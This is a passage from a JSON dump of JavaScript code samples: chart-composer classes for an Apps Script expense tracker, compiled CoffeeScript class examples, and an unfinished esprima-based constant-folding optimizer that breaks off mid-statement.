Parser();\n})();\n\n\n\n\nif (typeof require !== 'undefined' && typeof exports !== 'undefined') {\n  exports.parser = ccalcParse;\n  exports.Parser = ccalcParse.Parser;\n  exports.parse = function () {\n    return ccalcParse.parse.apply(ccalcParse, arguments);\n  };\n\n}\n"
  },
  {
    "path": "samples/JavaScript/chart_composers.gs",
    "content": "/*\nLicense\nCopyright [2013] [Farruco Sanjurjo Arcay]\n\nLicensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n*/\n\nvar TagsTotalPerMonth;\n\nTagsTotalPerMonth = (function(){\n  function TagsTotalPerMonth(){};\n  \n  TagsTotalPerMonth.getDatasource = function (category, months, values){\n    return new CategoryMonthlyExpenseBarChartDataSource(category, months, values);\n  };\n  \n  TagsTotalPerMonth.getType = function (){ return Charts.ChartType.COLUMN};\n  \n  return TagsTotalPerMonth;\n})();\n\n\nvar TagsTotalPerMonthWithMean;\n\nTagsTotalPerMonthWithMean = (function(){\n  function TagsTotalPerMonthWithMean(){};\n  \n  TagsTotalPerMonthWithMean.getDatasource = function (category, months, values){\n    return new CategoryMonthlyWithMeanExpenseDataSource(category, months, values);\n  };\n  \n  TagsTotalPerMonthWithMean.getType = function (){ return Charts.ChartType.LINE};\n  \n  return TagsTotalPerMonthWithMean;\n})();\n\n\nvar TagsAccumulatedPerMonth;\n\nTagsAccumulatedPerMonth = (function(){\n  function TagsAccumulatedPerMonth(){};\n  \n  TagsAccumulatedPerMonth.getDatasource = function (category, months, values){\n    return new CategoryMonthlyAccumulated(category, months, values);\n  };\n  \n  TagsAccumulatedPerMonth.getType = function (){ return Charts.ChartType.AREA};\n  \n  return TagsAccumulatedPerMonth;\n})();\n\nvar MonthTotalsPerTags;\n\nMonthTotalsPerTags = (function(){\n  function MonthTotalsPerTags(){};\n\n  MonthTotalsPerTags.getDatasource = function (month, tags, values){\n    return new CategoryExpenseDataSource(tags, month, values); \n  };\n  \n  MonthTotalsPerTags.getType = function (){ return Charts.ChartType.PIE; };\n  \n  return MonthTotalsPerTags;\n})();\n\nvar SavingsFlowChartComposer = (function(){\n  function SavingsFlowChartComposer(){};\n  \n  SavingsFlowChartComposer.getDatasource = function(months, values){\n    return new SavingsFlowDataSource(months, values);\n  };\n  \n  SavingsFlowChartComposer.getType = function(){ return Charts.ChartType.COLUMN; };\n  \n  return SavingsFlowChartComposer;\n})();\n"
  },
  {
    "path": "samples/JavaScript/classes-old.js",
    "content": "(function() {\n  var Animal, Horse, Snake, sam, tom;\n  var __hasProp = Object.prototype.hasOwnProperty, __extends = function(child, parent) {\n    for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; }\n    function ctor() { this.constructor = child; }\n    ctor.prototype = parent.prototype;\n    child.prototype = new ctor;\n    child.__super__ = parent.prototype;\n    return child;\n  };\n  Animal = (function() {\n    function Animal(name) {\n      this.name = name;\n    }\n    Animal.prototype.move = function(meters) {\n      return alert(this.name + \" moved \" + meters + \"m.\");\n    };\n    return Animal;\n  })();\n  Snake = (function() {\n    __extends(Snake, Animal);\n    function Snake() {\n      Snake.__super__.constructor.apply(this, arguments);\n    }\n    Snake.prototype.move = function() {\n      alert(\"Slithering...\");\n      return Snake.__super__.move.call(this, 5);\n    };\n    return Snake;\n  })();\n  Horse = (function() {\n    __extends(Horse, Animal);\n    function Horse() {\n      Horse.__super__.constructor.apply(this, arguments);\n    }\n    Horse.prototype.move = function() {\n      alert(\"Galloping...\");\n      return Horse.__super__.move.call(this, 45);\n    };\n    return Horse;\n  })();\n  sam = new Snake(\"Sammy the Python\");\n  tom = new Horse(\"Tommy the Palomino\");\n  sam.move();\n  tom.move();\n}).call(this);\n"
  },
  {
    "path": "samples/JavaScript/classes.js",
    "content": "// Generated by CoffeeScript 1.2.1\n(function() {\n  var Animal, Horse, Snake, sam, tom,\n    __hasProp = {}.hasOwnProperty,\n    __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor; child.__super__ = parent.prototype; return child; };\n\n  Animal = (function() {\n\n    Animal.name = 'Animal';\n\n    function Animal(name) {\n      this.name = name;\n    }\n\n    Animal.prototype.move = function(meters) {\n      return alert(this.name + \" moved \" + meters + \"m.\");\n    };\n\n    return Animal;\n\n  })();\n\n  Snake = (function(_super) {\n\n    __extends(Snake, _super);\n\n    Snake.name = 'Snake';\n\n    function Snake() {\n      return Snake.__super__.constructor.apply(this, arguments);\n    }\n\n    Snake.prototype.move = function() {\n      alert(\"Slithering...\");\n      return Snake.__super__.move.call(this, 5);\n    };\n\n    return Snake;\n\n  })(Animal);\n\n  Horse = (function(_super) {\n\n    __extends(Horse, _super);\n\n    Horse.name = 'Horse';\n\n    function Horse() {\n      return Horse.__super__.constructor.apply(this, arguments);\n    }\n\n    Horse.prototype.move = function() {\n      alert(\"Galloping...\");\n      return Horse.__super__.move.call(this, 45);\n    };\n\n    return Horse;\n\n  })(Animal);\n\n  sam = new Snake(\"Sammy the Python\");\n\n  tom = new Horse(\"Tommy the Palomino\");\n\n  sam.move();\n\n  tom.move();\n\n}).call(this);\n"
  },
  {
    "path": "samples/JavaScript/constant_fold.mjs",
    "content": "// consumes <stdin> and performs constant folding\n// echo '\"use strict\";\"_\"[0],1+2;' | node constant_fold.js\nimport _NodePath from '../NodePath';\nconst {NodePath} = _NodePath;\nimport _WalkCombinator from '../WalkCombinator';\nconst {WalkCombinator} = _WalkCombinator;\n\nconst $CONSTEXPR = Symbol.for('$CONSTEXTR');\nconst $CONSTVALUE = Symbol.for('$CONSTVALUE');\nconst IS_EMPTY = path => {\n  return (path.node.type === 'BlockStatement' && path.node.body.length === 0) ||\n    path.node.type === 'EmptyStatement';\n};\nconst IN_PRAGMA_POS = path => {\n  if (path.parent && Array.isArray(path.parent.node)) {\n    const siblings = path.parent.node;\n    for (let i = 0; i < path.key; i++) {\n      // preceded by non-pragma\n      if (\n        siblings[i].type !== 'ExpressionStatement' ||\n        !IS_CONSTEXPR(siblings[i].expression) ||\n        typeof CONSTVALUE(siblings[i].expression) !== 'string'\n      ) {\n        return false;\n      }\n    }\n  }\n  return true;\n};\nconst IS_PRAGMA = path => {\n  if (path.parent && Array.isArray(path.parent.node)) {\n    const siblings = path.parent.node;\n    for (let i = 0; i < path.key + 1; i++) {\n      // preceded by non-pragma\n      if (\n        siblings[i].type !== 'ExpressionStatement' ||\n        !IS_CONSTEXPR(siblings[i].expression) ||\n        typeof CONSTVALUE(siblings[i].expression) !== 'string'\n      ) {\n        return false;\n      }\n    }\n  }\n  return true;\n};\n// worst case is the completion value\nconst IS_NOT_COMPLETION = path => {\n  while (true) {\n    if (!path.parent) {\n      return true;\n    }\n    if (\n      Array.isArray(path.parent.node) &&\n      path.key !== path.parent.node.length - 1\n    ) {\n      return true;\n    }\n    path = path.parent;\n    while (Array.isArray(path.node)) {\n      path = path.parent;\n    }\n    if (/Function/.test(path.node.type)) {\n      return true;\n    } else if (path.node.type === 'Program') {\n      return false;\n    }\n  }\n};\nconst REMOVE_IF_EMPTY = path => {\n  if (IS_EMPTY(path)) REMOVE(path);\n  return null;\n};\nconst REPLACE_IF_EMPTY = (path, folded) => {\n  if (IS_EMPTY(path)) return REPLACE(path, folded);\n  return path;\n};\nconst REMOVE = path => {\n  if (Array.isArray(path.parent.node)) {\n    path.parent.node.splice(path.key, 1);\n  } else {\n    path.parent.node[path.key] = null;\n  }\n  return null;\n};\nconst REPLACE = (path, folded) => {\n  const replacement = new NodePath(path.parent, folded, path.key);\n  path.parent.node[path.key] = folded;\n  return replacement;\n};\n// no mutation, this is an atomic value\nconst NEG_ZERO = Object.freeze({\n  [$CONSTEXPR]: true,\n  type: 'UnaryExpression',\n  operator: '-',\n  argument: Object.freeze({\n    [$CONSTEXPR]: true,\n    type: 'Literal',\n    value: 0,\n  }),\n});\nconst INFINITY = Object.freeze({\n  [$CONSTEXPR]: true,\n  type: 'BinaryExpression',\n  operator: '/',\n  left: Object.freeze({\n    [$CONSTEXPR]: true,\n    type: 'Literal',\n    value: 1,\n  }),\n  right: Object.freeze({\n    [$CONSTEXPR]: true,\n    type: 'Literal',\n    value: 0,\n  }),\n});\nconst NEG_INFINITY = Object.freeze({\n  [$CONSTEXPR]: true,\n  type: 'BinaryExpression',\n  operator: '/',\n  left: Object.freeze({\n    [$CONSTEXPR]: true,\n    type: 'Literal',\n    value: 1,\n  }),\n  right: NEG_ZERO,\n});\nconst EMPTY = Object.freeze({\n  [$CONSTEXPR]: true,\n  type: 'EmptyStatement',\n});\nconst NULL = Object.freeze({\n  [$CONSTEXPR]: true,\n  type: 'Literal',\n  value: null,\n});\nconst NAN = Object.freeze({\n  [$CONSTEXPR]: true,\n  type: 'BinaryExpression',\n  operator: '/',\n  left: Object.freeze({\n    [$CONSTEXPR]: true,\n    type: 'Literal',\n    value: 0,\n  }),\n  right: Object.freeze({\n    [$CONSTEXPR]: true,\n    type: 'Literal',\n    value: 0,\n  }),\n});\nconst UNDEFINED = Object.freeze({\n  [$CONSTEXPR]: true,\n  type: 'UnaryExpression',\n  operator: 'void',\n  argument: Object.freeze({\n    [$CONSTEXPR]: true,\n    type: 'Literal',\n    value: 0,\n  }),\n});\n// ESTree doesn't like negative numeric literals\n// this also preserves -0\nconst IS_UNARY_NEGATIVE = node => {\n  if (\n    node.type === 'UnaryExpression' &&\n    node.operator === '-' &&\n    typeof node.argument.value === 'number' &&\n    node.argument.value === node.argument.value &&\n    node.argument.type === 'Literal'\n  ) {\n    return true;\n  }\n  return false;\n};\nconst IS_CONSTEXPR = node => {\n  if (typeof node !== 'object' || node === null) {\n    return false;\n  }\n  // DONT CALCULATE THINGS MULTIPLE TIMES!!@!@#\n  if (node[$CONSTEXPR]) return true;\n  if (node.type === 'ArrayExpression') {\n    for (let i = 0; i < node.elements.length; i++) {\n      const element = node.elements[i];\n      // hole == null\n      if (element !== null && !IS_CONSTEXPR(element)) {\n        return false;\n      }\n    }\n    return true;\n  }\n  if (node.type === 'ObjectExpression') {\n    for (let i = 0; i < node.properties.length; i++) {\n      const element = node.properties[i];\n      if (element.kind !== 'init') return false;\n      if (element.method) return false;\n      let key;\n      if (element.computed) {\n        // be sure {[\"y\"]:1} works\n        if (!IS_CONSTEXPR(element.key)) {\n          return false;\n        }\n      }\n      if (!IS_CONSTEXPR(element.value)) return false;\n    }\n    return true;\n  }\n  if (node.type === 'Literal' || IS_UNDEFINED(node) || IS_NAN(node)) {\n    return true;\n  }\n  if (IS_UNARY_NEGATIVE(node)) {\n    return true;\n  }\n  return false;\n};\nconst IS_NAN = node => {\n  return node === NAN;\n};\nconst IS_UNDEFINED = node => {\n  return node === UNDEFINED;\n};\nconst CONSTVALUE = node => {\n  if (node[$CONSTVALUE]) {\n    return node[$CONSTVALUE];\n  }\n  if (IS_UNDEFINED(node)) return void 0;\n  if (IS_NAN(node)) return +'_';\n  if (!IS_CONSTEXPR(node)) throw new Error('Not a CONSTEXPR');\n  if (node.type === 'ArrayExpression') {\n    let ret = [];\n    ret.length = node.elements.length;\n    for (let i = 0; i < node.elements.length; i++) {\n      if (node.elements[i] !== null) {\n        ret[i] = CONSTVALUE(node.elements[i]);\n      }\n    }\n    return ret;\n  }\n  if (node.type === 'ObjectExpression') {\n    let ret = Object.create(null);\n    for (let i = 0; i < node.properties.length; i++) {\n      const element = node.properties[i];\n      let key;\n      if (element.computed) {\n        key = `${CONSTVALUE(element.key)}`;\n      }\n      else {\n        key = element.key.name;\n      }\n      Object.defineProperty(ret, key, {\n        // duplicate keys...\n        configurable: true,\n        writable: true,\n        value: CONSTVALUE(element.value),\n        enumerable: true\n      });\n    }\n    Object.freeze(ret);\n    return ret;\n  }\n  if (IS_UNARY_NEGATIVE(node)) {\n    return -node.argument.value;\n  }\n  if (node.regex !== void 0) {\n    return new RegExp(node.regex.pattern, node.regex.flags);\n  }\n  return node.value;\n};\nconst CONSTEXPRS = new Map();\nCONSTEXPRS.set(void 0, UNDEFINED);\nCONSTEXPRS.set(+'_', NAN);\nCONSTEXPRS.set(null, NULL);\nconst TO_CONSTEXPR = value => {\n  if (value === -Infinity) {\n    return NEG_INFINITY;\n  }\n  if (value === Infinity) {\n    return INFINITY;\n  }\n  let is_neg_zero = 1 / value === -Infinity;\n  if (is_neg_zero) return NEG_ZERO;\n  if (CONSTEXPRS.has(value)) {\n    return CONSTEXPRS.get(value);\n  }\n  if (typeof value === 'number') {\n    if (value < 0) {\n      const CONSTEXPR = Object.freeze({\n        [$CONSTEXPR]: true,\n        [$CONSTVALUE]: value,\n        type: 'UnaryExpression',\n        operator: '-',\n        argument: Object.freeze({ type: 'Literal', value: -value }),\n      });\n      CONSTEXPRS.set(value, CONSTEXPR);\n      return CONSTEXPR;\n    }\n  }\n  if (\n    value === null ||\n    typeof value === 'number' ||\n    typeof value === 'boolean' ||\n    typeof value === 'string'\n  ) {\n    const CONSTEXPR = Object.freeze({\n      [$CONSTEXPR]: true,\n      [$CONSTVALUE]: value,\n      type: 'Literal',\n      value,\n    });\n    CONSTEXPRS.set(value, CONSTEXPR);\n    return CONSTEXPR;\n  }\n  // have to generate new one every time :-/\n  if (Array.isArray(value)) {\n    return Object.freeze({\n      [$CONSTEXPR]: true,\n      type: 'ArrayExpression',\n      elements: Object.freeze(value.map(TO_CONSTEXPR)),\n    });\n  }\n  if (typeof value === 'object' && Object.getPrototypeOf(value) === Object.getPrototypeOf({}) && [...Object.getOwnPropertySymbols(value)].length === 0) {\n    return Object.freeze({\n      [$CONSTEXPR]: true,\n      type: 'ObjectExpression',\n      properties: Object.freeze(\n        [...Object.getOwnPropertyKeys(value)].map(key => {\n          if (!('value' in Object.getOwnProperty(value, key))) {\n            throw Error('Not a CONSTVALUE (found a setter or getter?)');\n          }\n          return {\n            type: 'Property',\n            kind: 'init',\n            method: false,\n            shorthand: false,\n            computed: true,\n            key: {\n              type: 'Literal',\n              value: key\n            },\n            value: TO_CONSTEXPR(value[key])\n          }\n        })),\n      });\n  }\n  throw Error('Not a CONSTVALUE (did you pass a RegExp?)');\n};\n\n// THIS DOES NOT HANDLE NODE SPECIFIC CASES LIKE IfStatement\nconst FOLD_EMPTY = function*(path) {\n  if (\n    path &&\n    path.node &&\n    path.parent &&\n    Array.isArray(path.parent.node) &&\n    IS_EMPTY(path)\n  ) {\n    REMOVE(path);\n    return yield;\n  }\n  return yield path;\n};\n\n// THIS DOES NOT HANDLE NODE SPECIFIC CASES LIKE IfStatement\nconst FOLD_TEMPLATE = function*(path) {\n  if (\n    path &&\n    path.node &&\n    path.type === 'TemplateLiteral'\n  ) {\n    let updated = false;\n    for (let i = 0; i < path.node.exressions.length; i++) {\n      if (IS_CONSTEXPR(path.node.expressions[i])) {\n        //let \n      }\n    }\n  }\n  return yield path;\n};\nconst FOLD_EXPR_STMT = function*(path) {\n  // TODO: enforce completion value checking\n  if (path && path.node && path.node.type === 'ExpressionStatement') {\n    // merge all the adjacent expression statements into sequences\n    if (Array.isArray(path.parent.node)) {\n      // could have nodes after it\n      const siblings = path.parent.node;\n      if (!IS_PRAGMA(path)) {\n        if (path.key < siblings.length - 1) {\n          const mergeable = [path.node];\n          for (let needle = path.key + 1; needle < siblings.length; needle++) {\n            if (siblings[needle].type !== 'ExpressionStatement') {\n              break;\n            }\n            mergeable.push(siblings[needle]);\n          }\n          if (mergeable.length > 1) {\n            siblings.splice(path.key, mergeable.length, {\n              type: 'ExpressionStatement',\n              expression: {\n                type: 'SequenceExpression',\n                expressions: mergeable.reduce(\n                  (acc, es) => {\n                    if (es.expression.type == 'SequenceExpression') {\n                      return [...acc, ...es.expression.expressions];\n                    } else {\n                      return [...acc, es.expression];\n                    }\n                  },\n                  []\n                ),\n              },\n            });\n            return path;\n          }\n        }\n      }\n    }\n    if (IS_NOT_COMPLETION(path) && IS_CONSTEXPR(path.node.expression)) {\n      return REPLACE(path, EMPTY);\n    }\n  }\n  return yield path;\n};\nconst FOLD_WHILE = function*(path) {\n  if (path && path.node) {\n    if (path.node.type === 'DoWhileStatement') {\n      console.error('FOLD_DOWHILE');\n      REPLACE_IF_EMPTY(path.get(['body']), EMPTY);\n    }\n    if (path.node.type === 'WhileStatement') {\n      console.error('FOLD_WHILE');\n      let { test, consequent, alternate } = path.node;\n      if (IS_CONSTEXPR(test)) {\n        test = CONSTVALUE(test);\n        if (!test) {\n          return REPLACE(path, EMPTY);\n        }\n      }\n      REPLACE_IF_EMPTY(path.get(['body']), EMPTY);\n    }\n    if (path.node.type === 'ForStatement') {\n      console.error('FOLD_FOR');\n      REPLACE_IF_EMPTY(path.get(['body']), EMPTY);\n      let { init, test, update } = path.node;\n      let updated = false;\n      if (init && IS_CONSTEXPR(init)) {\n        updated = true;\n        REPLACE(path.get(['init']), null);\n      }\n      if (test && IS_CONSTEXPR(test)) {\n        let current = CONSTVALUE(test);\n        let coerced = Boolean(current);\n        // remove the test if it is always true\n        if (coerced === true) {\n          updated = true;\n          REPLACE(path.get(['test']), null);\n        } else if (coerced !== current) {\n          updated = true;\n          REPLACE(path.get(['test']), TO_CONSTEXPR(coerced));\n        }\n      }\n      if (update && IS_CONSTEXPR(update)) {\n        updated = true;\n        REPLACE(path.get(['update']), null);\n      }\n      if (updated) {\n        return path;\n      }\n    }\n  }\n  return yield path;\n};\nconst FOLD_IF = function*(path) {\n  if (path && path.node && path.node.type === 'IfStatement') {\n    let { test, consequent, alternate } = path.node;\n    const is_not_completion = IS_NOT_COMPLETION(path);\n    if (is_not_completion && !alternate) {\n      if (IS_EMPTY(path.get(['consequent']))) {\n        console.error('FOLD_IF_EMPTY_CONSEQUENT');\n        REPLACE(path, {\n          type: 'ExpressionStatement',\n          expression: test,\n        });\n        return path.parent;\n      }\n    }\n    if (alternate) {\n      if (alternate.type === consequent.type) {\n        if (consequent.type === 'ExpressionStatement') {\n          console.error('FOLD_IF_BOTH_EXPRSTMT');\n          REPLACE(path, {\n          type: 'ExpressionStatement', expression:\n          {\n            type: 'ConditionalExpression',\n            test: test,\n            consequent: consequent.expression,\n            alternate: alternate.expression,\n          }});\n          return path.parent;\n        }\n        else if (consequent.type === 'ReturnStatement' ||\n          consequent.type === 'ThrowStatement') {\n          console.error('FOLD_IF_BOTH_COMPLETIONS');\n          REPLACE(path, {\n          type: 'ExpressionStatement', expression:{\n            type: consequent.type,\n            argument: {\n              type: 'ConditionalExpression',\n              test: test,\n              consequent: consequent.argument,\n              alternate: alternate.argument,\n            }}\n          });\n          return path.parent;\n        }\n      }\n    }\n    else if (is_not_completion && consequent.type === 'ExpressionStatement') {\n      console.error('FOLD_IF_NON_COMPLETION_TO_&&');\n      REPLACE(path, {\n        type: 'ExpressionStatement',\n        expression: {\n          type: 'BinaryExpression',\n          operator: '&&',\n          left: test,\n          right: consequent.expression,\n        }\n      });\n      return path.parent;\n    }\n    if (IS_CONSTEXPR(test)) {\n      test = CONSTVALUE(test);\n      if (test) {\n        return REPLACE(path, consequent);\n      }\n      if (alternate) {\n        return REPLACE(path, alternate);\n      }\n      return REPLACE(path, EMPTY);\n    }\n    consequent = path.get(['consequent']);\n    let updated;\n    if (consequent.node !== EMPTY) {\n      REPLACE_IF_EMPTY(consequent, EMPTY);\n      if (consequent.parent.node[consequent.key] === EMPTY) {\n        updated = true;\n      }\n    }\n    if (alternate) {\n      alternate = path.get(['alternate']);\n      REMOVE_IF_EMPTY(alternate);\n      if (path.node.alternate === null) {\n        updated = true;\n      }\n    }\n    if (updated) {\n      return path;\n    }\n  }\n  return yield path;\n};\nconst FOLD_SEQUENCE = function*(path) {\n  if (path && path.node && path.node.type === 'SequenceExpression') {\n    console.error('FOLD_SEQUENCE');\n    // never delete the last value\n    for (let i = 0; i < path.node.expressions.length - 1; i++) {\n      if (IS_CONSTEXPR(path.node.expressions[i])) {\n        path.node.expressions.splice(i, 1);\n        i--;\n      }\n    }\n    if (path.node.expressions.length === 1) {\n      return REPLACE(path, path.node.expressions[0]);\n    }\n  }\n  return yield path;\n};\nconst FOLD_LOGICAL = function*(path) {\n  if (path && path.node && path.node.type === 'LogicalExpression') {\n    console.error('FOLD_LOGICAL');\n    let { left, right, operator } = path.node;\n    if (IS_CONSTEXPR(left)) {\n      left = CONSTVALUE(left);\n      if (operator === '||') {\n        if (left) {\n          return REPLACE(path, TO_CONSTEXPR(left));\n        }\n        return REPLACE(path, right);\n      } else if (operator === '&&') {\n        if (!left) {\n          return REPLACE(path, TO_CONSTEXPR(left));\n        }\n        return REPLACE(path, right);\n      }\n    }\n  }\n  return yield path;\n};\nconst FOLD_SWITCH = function*(path) {\n  if (path && path.node && path.node.type === 'SwitchStatement') {\n    let { discriminant, cases } = path.node;\n    // if there are no cases, just become an expression\n    if (cases.length === 0 && IS_NOT_COMPLETION(path)) {\n      return REPLACE(path, {\n        type: 'ExpressionStatement',\n        expression: discriminant\n      });\n    }\n    // if the discriminant is static\n    //   remove any preceding non-matching static cases\n    //   fold any trailing cases into the matching case\n    if (cases.length > 1 && IS_CONSTEXPR(discriminant)) {\n      const discriminant_value = CONSTVALUE(discriminant);\n      for (var i = 0; i < cases.length; i++) {\n        const test = cases[i].test;\n        if (IS_CONSTEXPR(test)) {\n          let test_value = CONSTVALUE(test);\n          if (discriminant_value === test_value) {\n            let new_consequent = cases[i].consequent;\n            if (i < cases.length - 1) {\n              for (let fallthrough of cases.slice(i+1)) {\n                new_consequent.push(...fallthrough.consequent);\n              }\n            }\n            cases[i].consequent = new_consequent;\n            REPLACE(path.get(['cases']), [cases[i]]);\n            return path;\n          }\n        }\n        else {\n          // we had a dynamic case need to bail\n          break;\n        }\n      }\n    }\n  }\n  return yield path;\n};\nconst FOLD_UNREACHABLE = function*(path) {\n  if (path && path.node && path.parent && Array.isArray(path.parent.node)) {\n    if (path.node.type === 'ReturnStatement' ||\n    path.node.type === 'ContinueStatement' ||\n    path.node.type === 'BreakStatement' ||\n    path.node.type === 'ThrowStatement') {\n      const next_key = path.key + 1;\n      path.parent.node.splice(next_key, path.parent.node.length - next_key);\n    }\n  }\n  return yield path;\n}\nconst FOLD_CONDITIONAL = function*(path) {\n  if (path && path.node && path.node.type === 'ConditionalExpression') {\n    console.error('FOLD_CONDITIONAL');\n    let { test, consequent, alternate } = path.node;\n    if (IS_CONSTEXPR(test)) {\n      test = CONSTVALUE(test);\n      if (test) {\n        return REPLACE(path, consequent);\n      }\n      return REPLACE(path, alternate);\n    }\n  }\n  return yield path;\n};\nconst FOLD_BINARY = function*(path) {\n  if (\n    path &&\n    path.node &&\n    path.node.type === 'BinaryExpression' &&\n    !IS_NAN(path.node)\n  ) {\n    console.error('FOLD_BINARY');\n    let { left, right, operator } = path.node;\n    if (operator === '==' || operator === '!=') {\n      let updated = false;\n      if (IS_UNDEFINED(left)) {\n        updated = true;\n        REPLACE(path.get(['left']), NULL);\n      }\n      if (IS_UNDEFINED(right)) {\n        updated = true;\n        REPLACE(path.get(['right']), NULL);\n      }\n      if (updated) {\n        return path;\n      }\n    }\n    if (path.node !== INFINITY && path.node !== NEG_INFINITY && IS_CONSTEXPR(left) && IS_CONSTEXPR(right)) {\n      left = CONSTVALUE(left);\n      right = CONSTVALUE(right);\n      let value;\n      if ((!left || typeof left !== 'object') && (!right || typeof right !== 'object')) {\n        if (operator === '+') {\n          value = left + right;\n        } else if (operator === '-') {\n          value = left - right;\n        } else if (operator === '*') {\n          value = left * right;\n        } else if (operator === '/') {\n          value = left / right;\n        } else if (operator === '%') {\n          value = left % right;\n        } else if (operator === '==') {\n          value = left == right;\n        } else if (operator === '!=') {\n          value = left != right;\n        } else if (operator === '===') {\n          value = left === right;\n        } else if (operator === '!==') {\n          value = left !== right;\n        } else if (operator === '<') {\n          value = left < right;\n        } else if (operator === '<=') {\n          value = left <= right;\n        } else if (operator === '>') {\n          value = left > right;\n        } else if (operator === '>=') {\n          value = left >= right;\n        } else if (operator === '<<') {\n          value = left << right;\n        } else if (operator === '>>') {\n          value = left >> right;\n        } else if (operator === '>>>') {\n          value = left >>> right;\n        } else if (operator === '|') {\n          value = left | right;\n        } else if (operator === '&') {\n          value = left & right;\n        } else if (operator === '^') {\n          value = left ^ right;\n        }\n      }\n      else {\n        if (operator === '==') value = false;\n        if (operator === '===') value = false;\n        if (operator === '!=') value = true;\n        if (operator === '!==') value = true;\n        if (operator === 'in' && typeof right === 'object' && right) {\n          value = Boolean(Object.getOwnPropertyDescriptor(right, left));\n        }\n      }\n      if (value !== void 0) {\n        if (typeof value === 'string' || typeof value === 'boolean' || value === null) {\n          return REPLACE(path, TO_CONSTEXPR(value));\n        }\n        if (typeof value === 'number') {\n          return REPLACE(path, TO_CONSTEXPR(value));\n        }\n      }\n    }\n  }\n  return yield path;\n};\nconst FOLD_UNARY = function*(path) {\n  if (path && path.node && path.node.type === 'UnaryExpression') {\n    console.error('FOLD_UNARY');\n    if (IS_CONSTEXPR(path.node)) {\n      return yield path;\n    }\n    let { argument, operator } = path.node;\n    if (IS_CONSTEXPR(argument)) {\n      if (operator === 'void') {\n        return REPLACE(path, UNDEFINED);\n      }\n      let value = CONSTVALUE(argument);\n      if (operator === '-') {\n        value = -value;\n      } else if (operator === '+') {\n        value = +value;\n      } else if (operator === '~') {\n        value = ~value;\n      } else if (operator === '!') {\n        value = !value;\n      } else if (operator === 'typeof') {\n        value = typeof value;\n      } else if (operator === 'delete') {\n        value = true;\n      }\n      return REPLACE(path, TO_CONSTEXPR(value));\n    }\n  }\n  return yield path;\n};\nconst FOLD_EVAL = function*(path) {\n  if (path && path.node && path.node.type === 'CallExpression' &&\n    path.node.callee.type === 'Identifier' && path.node.callee.name === 'eval') {\n    console.error('FOLD_EVAL');\n    if (path.node.arguments.length === 1 && path.node.arguments[0].type === 'Literal') {\n      let result = esprima.parse(`${\n        CONSTVALUE(path.node.arguments[0])\n      }`);\n      if (result.body.length === 1 && result.body[0].type === 'ExpressionStatement') {\n        return REPLACE(path, result.body[0].expression);\n      }\n    }\n  }\n  return yield path;\n}\nconst FOLD_MEMBER = function*(path) {\n  if (path && path.node && path.node.type === 'MemberExpression') {\n    console.error('FOLD_MEMBER');\n    if (path.node.computed && path.node.property.type === 'Literal') {\n      const current = `${CONSTVALUE(path.node.property)}`;\n      if (typeof current === 'string' && /^[$_a-z][$_a-z\\d]*$/i.test(current)) {\n        path.node.computed = false;\n        path.node.property = {\n          type: 'Identifier',\n          name: current,\n        };\n        return path;\n      }\n    }\n    if (IS_CONSTEXPR(path.node.object)) {\n      const value = CONSTVALUE(path.node.object);\n      if (typeof value === 'string' || Array.isArray(value) || (value && typeof value === 'object')) {\n        let key;\n        if (IS_CONSTEXPR(path.node.property)) {\n          key = `${CONSTVALUE(path.node.property)}`;\n        }\n        else if (!path.node.computed) {\n          key = path.node.property.name;\n        }\n        if (key !== void 0) {\n          const desc = Object.getOwnPropertyDescriptor(value, key);\n          if (desc) {\n            const folded = value[key];\n            console.error('FOLDING', JSON.stringify(folded));\n            if (IN_PRAGMA_POS(path) && typeof folded === 'string') {\n              if (value.length > 1) {\n                REPLACE(\n                  path.get(['object']),\n                  TO_CONSTEXPR(value.slice(key, key + 1))\n                );\n                REPLACE(path.get(['property']), TO_CONSTEXPR(0));\n                return path;\n              }\n            } else {\n              return REPLACE(path, TO_CONSTEXPR(value[key]));\n            }\n          }\n        }\n      }\n    }\n  }\n  return yield path;\n};\n\nconst $MIN = Symbol();\nconst MIN_TRUE = Object.freeze({\n  [$MIN]: true,\n  type: 'UnaryExpression',\n  operator: '!',\n  argument: Object.freeze({\n    [$MIN]: true,\n    type: 'Literal',\n    value: 0\n  })\n});\nconst MIN_FALSE = Object.freeze({\n  [$MIN]: true,\n  type: 'UnaryExpression',\n  operator: '!',\n  argument: Object.freeze({\n    [$MIN]: true,\n    type: 'Literal',\n    value: 1\n  })\n});\nconst MIN_REPLACEMENTS = new Map;\nMIN_REPLACEMENTS.set(true, MIN_TRUE);\nMIN_REPLACEMENTS.set(false, MIN_FALSE);\nconst MIN_VALUES = function*(path) {\n  if (path && path.node && !path.node[$MIN] && IS_CONSTEXPR(path.node)) {\n    let value = CONSTVALUE(path.node);\n    if (MIN_REPLACEMENTS.has(value)) {\n      console.error('MIN_VALUE', value)\n      return REPLACE(path, MIN_REPLACEMENTS.get(value));\n    }\n  }\n  return yield path;\n}\n\nimport esprima from 'esprima';\nimport util from 'util';\nimport escodegen from 'escodegen';\nconst optimize = (src) => {\n    const ROOT = new NodePath(\n      null,\n      esprima.parse(\n        src,\n        {\n          // loc: true,\n          // source: '<stdin>',\n        }\n      ),\n      null\n    );\n    // all of these are things that could affect completion value positions\n    const walk_expressions = WalkCombinator.pipe(\n      ...[\n        WalkCombinator.DEPTH_FIRST,\n        {\n          // We never work on Arrays\n          *inputs(path) {\n            if (Array.isArray(path)) return;\n            return yield path;\n          },\n        },\n        { inputs: FOLD_UNREACHABLE },\n        { inputs: FOLD_IF },\n        { inputs: FOLD_SWITCH },\n        { inputs: FOLD_EXPR_STMT },\n        { inputs: FOLD_CONDITIONAL },\n        { inputs: FOLD_LOGICAL },\n        { inputs: FOLD_BINARY },\n        { inputs: FOLD_UNARY },\n        { inputs: FOLD_SEQUENCE },\n        { inputs: FOLD_MEMBER },\n        { inputs: FOLD_EMPTY },\n        { inputs: FOLD_WHILE },\n        { inputs: FOLD_EVAL },\n      ]\n    ).walk(ROOT);\n    for (const _ of walk_expressions) {\n    }\n    const minify = 